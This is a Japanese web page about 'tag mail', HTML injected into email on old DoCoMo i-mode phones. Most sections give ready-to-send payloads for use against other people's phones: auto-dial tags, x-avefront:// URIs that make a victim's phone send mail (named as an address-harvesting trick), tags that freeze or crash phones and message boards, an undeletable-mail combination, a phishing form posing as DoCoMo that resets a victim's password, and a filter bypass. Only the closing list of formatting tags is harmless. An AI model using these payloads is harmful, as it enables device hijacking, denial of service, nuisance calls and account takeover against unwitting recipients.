携帯電話 裏メール編
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◆タグメールとは? ◆タグメールが可能な機種は? ◆どこまでいっても終わらない謎のメールの作り方 ◆メールを開いたら勝手に電話をかけ始めた!? ◆他人のiモードを自由自在に操る ◆現在までに確認されたiモード操作系へのリンク表記 動作内容 タグ ◆赤の他人の端末からタダメールを送信させる ◆メールを強制送信するメール ◆電話機を強制再起動 ◆動作を停止させる ◆消せないメール ◆恐怖!パスワードをリセット ◆ボタンさえ勝手に押してしまうメール ◆211iシリーズまでタグメールが使える! ◆タグメール コマンド一覧
◆タグメールとは?
危険な技を紹介する前に、「タグメール」について紹介したい。ここで紹介している技は 「タグ」というメールの文字を大きくしたり、画像を貼りこんだりできるコマンドをメールに応用して、多種多様な動作をさせるメールのことである。
この「タグメール」だが、502iシリーズで初めて使えるようになり、503iや209/210Iシリーズでも利用できる。なお、タグメールを使うには、</xplaintext>もしくは<x</xplaintext>というコマンドを利用することになる。
また、NTTドコモや携帯電話メーカーはこのタグの使用を認めておらず、使って何か起きたとしてもあくまで自己責任になってしまう。
(入力例)
</xplaintext>
<BODY bgColor=yellow>
<CENTER>今日は<FONT color=red>飲み会</FONT>です! </CENTER>
<HR width=134217727>
<FONT size=1>場所や人数は予定通り!</FONT><BR>場所は<A
href="http://地図のURL"> 地図</A>を参照。
<CENTER><U>各自<FONT
color=red><BR>交換用プレゼント</FONT><BR>をお忘れなく!
</U></CENTER></BODY>
◆タグメールが可能な機種は?
タグメールは全ての機種で使える訳ではありません。携帯電話メーカーは、タグメールをネットワークを混乱させる恐れがある危険なものと認識しているようで、新機種では使えないようにする傾向にあります。
タグメール使用可能機種
</xplaintext>旧タグメール対応機種
D502i F502i F502it F209i
N502i N502it N209i N821i
</xplaintext>をiモードメールの冒頭に入力することでタグを有効にできる。また、SO502WMの場合は最後の「>」を「/」に書き換えることでタグを有効にすることができる。
<x</xplaintext>新タグメール対応機種
D503i D210i F503i N503i N210i
タグメールを悪用した事件が発生したこともあり、最近のiモードはタグメールが使えない傾向にある。上記の機種でも製造時期によっては、タグメールが使用できなくなっている。また、SO503iの初期モデルも交換修理をするとタグが使えなくなる。今後登場する機種もタグは使用できないだろう。
◆どこまでいっても終わらない謎のメールの作り方
WEBサイトや電子メールで使われるHTML言語では、本文の中に「タグ」と呼ばれる特殊な文字列が挿入されています。通常、装飾や文字配置の指定などを行うものですが、これを使ったイタズラメールが在在します。
</XPLAINTEXT><hr width=数値(ピクセル単位)> などがその代表的なもの。
「hr」は、画面上を横切る"区切り線"を挿入する命令(width=長さ)。
ここで、数値を100000000000000000…に設定すると異常に横長のフォームが受けての画面に表示されてしまいます。 どこまで「次へ」を押しても、終わりの見えない底なしメールのできあがりです。
◆メールを開いたら勝手に電話をかけ始めた!?
電子メールを開いたら「ここ」という文字が現れ、クリックすると「110」への発信が始まってしまう…。
これは、「強制電話メール」といわれるものです。
</XPLAINTEXT><a href="tel:電話番号">ここ</a>
上に示したタグがタネあかしです。<a href…> </a>というタグは、挟んだ文字(または画像)をクリック可能にし、さらにそのリンク先を指定するもの。
リンク先を"ある電話番号へのダイヤル"に指定(tel:電話番号と記述)すれば、クリックと同時にダイヤルが始まってしまいます。さらにこんなことも…。
</XPLAINTEXT><img src="cti-tel:電話番号">
<img src>は"以下の画像を読み込む"というタグ。画像の代わりにプログラムを読み込ませれば、HTMLのダウンロードと同時に実行させることもできます。
そこに「端末のオートダイヤル開始」という効果を持つ"cti-tel:電話番号"を記述しておきます。すると、単に電子メールを開いただけで、自動的に発信が始まってしまうのです。
この電話番号を、実在する電話番号に設定してしまうと、相手に大量の電話がかかってきてしまい、イタ電になりかねないので注意してください。
◆他人のiモードを自由自在に操る
iモード端末機種が、なんの操作も行っていないのに、勝手に設定を変更しはじめた…。
これは幽霊の仕業でもなんでもなく、明確な意図を持った人間が、iモードの遠隔操作を行っているのです。
まず、iモードを開始すると「メール」や「各種設定」などのメニュー画面が現れます。
実はこの画面は、HTMLで書かれたもの。つまり、端末にあらかじめ書き込まれているHTML文書をWEBページを閲覧する際に使うのと同じブラウザで読み、表示しているのです。
次に、iモードの開始画面で「メール」をクリックすると、メールのエリアに画面が切り替わります。その仕組みは「メール」という項目にHTMLのタグで、メールのエリアへ移動、という命令が書き込まれているのです。
これまではiモードの操作系にアクセスするタグだが、秘密のベールに包まれていたため、ハッキングは不可能でした。 しかし、iモード最大のセキュリティーホールとでもいうべきタグが、明るみに出てしまいました。
「x-avefront://」という文字列を使うと、本体のボタン操作でなければ見られない操作系に進入できるのです。
◆現在までに確認されたiモード操作系へのリンク表記 動作内容 タグ
iモードメニュー x-avefront://---.menu/start
メール送信 x-avefront://---.menu/sendmail
未送信メール x-avefront://---.smail/list?type=U&
新規メール x-avefront://---.smail/list?type=N
メール受信 x-avefront://---.push/list?type=M
メッセージリクエスト x-avefront://---.push/list?type=A
メッセージフリー x-avefront://---.push/list?type=B
メッセージ問い合わせ x-avefront://---.menu/askmessage
画面メモ x-avefront://---.push/list?type=P
設定メニュー x-avefront://---.setup/list
◆赤の他人の端末からタダメールを送信させる
さらに、上記のタグを使うととで、電子メールの強制送信までもが可能だというのですから、まさに驚愕のひと言です。
電子メールを送信させるには、端末内のメール送信用のソフトにアクセスしなければいけません。iモードでは必要な情報(アドレス、タイトル、本文)を、ブラウザからメールソフトに向かって投げ込んでやります(いわゆるCGIに擬似したシステム)。すると、電子メールが生成され、送信されるのです。しかも、このメールソフトに対する「投げ込み」が、通信端末からHTMLファイルを読み込む際にも発生してしまいます。つまり、iモードでWEBページを閲覧しているとき、そのページを構成するHTML内に以下のような「投げ込み」を実行するタグが挿入されていたら…。
<img src="x-avefront://---.smail/edit-cgi?type=U&subject=題名&address=メールの送り先URL&body=本文">
<img src="x-avefront://---.menu/sendmail">
こうすると、読み込み側のメールソフトが起動し、任意に設定された送り先に電子メールが送信されてしまうのです。
NTTドコモは、ユーザーが安心してWEBページを閲覧できるように、一刻も早く対策を講じるべきでしょう。
◆メールを強制送信するメール
前回、勝手に電話をかけるメールを紹介したが、電話だけでなくメールを勝手に送信させることも可能だ。
このタグは「1」キーを押すことで、あらかじめ設定した内容や送信先にメールを強制送信してしまう。
アドレス回収でよく使われる手口だ。 <a href="x-avefront://---.smail/edit-cgi?type=U&subject=メールのタイトル&address=メールアドレス&body=メールの本文"accesskey="1">1を押してね</a>
◆電話機を強制再起動
リンクを押すと突然電話機がフリーズ、再起動するというタグメール。N502iでは有効であったが、N502itではすでに対策済み。
<from action="x-avefront://---.smail/edt-cgi?type=U"><input="submit"value="ココを押してね">
◆動作を停止させる
水平線を表示させるタグだが、その太さを異常なほど太くすることで処理を遅くさせ、フリーズさせてしまうタグ。
掲示板などをクラッシュさせるためによく使われる方法だ。
<hr size=100000000>
◆消せないメール
タグメールの合わせ技。@のメールが自動消去されるまでは、Aで受信したメールを開くことさえできない。メールのタイトル自体に強制退出のタグを埋め込み、メールを開こうとするとメールメニューに戻ってしまう。つまり、メールボックスが満杯になり一番古いメールである@のメールが自動消去されるまでは受信メールを見られない。手動消去も不可能で極めて悪質。
@「"」をタイトルにしたメールを送る
A無題のメールを何通か送る
B「</xmp="」をタイトルにしたメールを送る
本文は「<embed src="x-avefront://---.smail/text?type=S"><style>」とする
◆恐怖!パスワードをリセット
ドコモからのメールを装ったタグメールで、パスワードを入力すると、自動的にパスワードをリセットしてしまう。任意のパスワードの設定もOK。
<form action="http://docomo.ne.jp/cp/cngpswrd" method="post">
<input type="password" istyle=4 name="opwd" value="" siza=4>
<input type="hidden" name="npwd" value="新しいパスワード"><br>
<input type="hidden" name="npwd2" value="新しいパスワード"><br>
<input type="submit" name="actn" value="決定">
<input type="hidden" name="MSN" value="NULLGRIMMGW">
◆ボタンさえ勝手に押してしまうメール
タグには電話機のボタンを操作できるものがある。「keybind」で電話機のボタンを設定すると、メールを開いただけでキーの入力まで行える。ただし機種によっては、単純にフリーズして使用不能になるものもある。
<a href="x-avefront://---.smail/edit-cgi?type=M&subject=メールのタイトル
&address=メールのアドレス&body=メールの本文" keybind="right">
<center>次へ</center></a>
◆211iシリーズまでタグメールが使える!
タグメールはその危険性から使用できないよう、メーカーがソフトの修正を行ってきた。そのため旧機種では使用できた方法でも新機種では使用できなくなっている場合が多い。つまり新機種ほどタグメールは使えないのである。しかし、現在最新のiモード機である211iシリーズでもタグメールが利用できる方法が発見されてしまった。その禁断のタグがこれだ。
http://"></><!--.gif -->
たったこれだけのタグを入力するだけで、タグが使用可能な状態となる。
F211iで以下のタグメールを送信したところ、タグメールが有効となりBLKの文字が点滅したのである。
タグメールが使えるということは、最新の211iシリーズでも他人に勝手に操作される危険があるということである。
http://"></><!--.gif --><blink>BLK</blink>
◆タグメール コマンド一覧
〇文字をチカチカと点滅させる方法
</XPLAINTEXT><blink>メールの本文</blink>
〇文字に下線部を引く方法
</XPLAINTEXT><u>メールの本文</u>
〇文字に訂正線を入れる方法
</XPLAINTEXT><s>メールの本文</s>
〇文字を横にスクロールさせる方法
</XPLAINTEXT><marquee loop="10">メールの本文</marquee>
〇文字を横のスクロールさせ、往復させる方法
</XPLAINTEXT><marquee behavior=alternate direction=right loop="10">
メールの本文</marquee>
〇文字を赤くする方法
</XPLAINTEXT><FONT SIZE="4" COLOR="#FF0000">メールの本文</FONT>
〇文字を緑にする方法
</XPLAINTEXT><FONT SIZE="4" COLOR="#008000">メールの本文</FONT>
〇文字を画面の中央に持ってくる方法
</XPLAINTEXT><CENTER>メールの本文</CENNTER><hr>
〇文字を画面の左に持ってくる方法
</XPLAINTEXT><DIV ALIGN=LEFT>メールの本文</DIV><hr>
〇文字を画面の右に持ってくる方法
</XPLAINTEXT><DIV ALIGN=RIGHT>メールの本文</DIV><hr>
〇背景色を青に変える方法
</XPLAINTEXT><BODY bgcolor="#0000FF">メールの本文<hr>
〇後ろ向きに文字が動く
</XPLAINTEXT><marquee direction=right loop="10">メールの本文</marquee>
〇大きな枠を付ける方法
</XPLAINTEXT><center><table border=35><tr><td>メールの本文
</td></tr></table></center>
〇あらっ不思議!縦書きのメールを送る方法
</XPLAINTEXT><center><table border="0"><tr><td width=14>メールの本文
</td></tr></table></center>
〇URLのリンク
</XPLAINTEXT><A HREF="URLのアドレス">メールの本文</A>
〇メールアドレスのリンク
</XPLAINTEXT><A HREF="MAILTO:メールアドレス">メールの本文</A>
〇電話番号のリンク
</XPLAINTEXT><A HREF="TEL:電話番号">文字</A>
電話番号の部分に電話番号を入れてください。−(ハイフン)は入れないでください。
【注意】
1.受信する携帯電話が対応機種である必要があります。
送信側はドコモではない携帯やパソコンからでも可能です。
2.色を指定する技は、6桁のカラー番号を変更すれば、他の
色も指定できます。
赤−#FF0000 黒−#000000 灰−#666666 白−#FFFFFF
青−#0000FF 緑−#008000 紫−#990099 黄−#FFFF00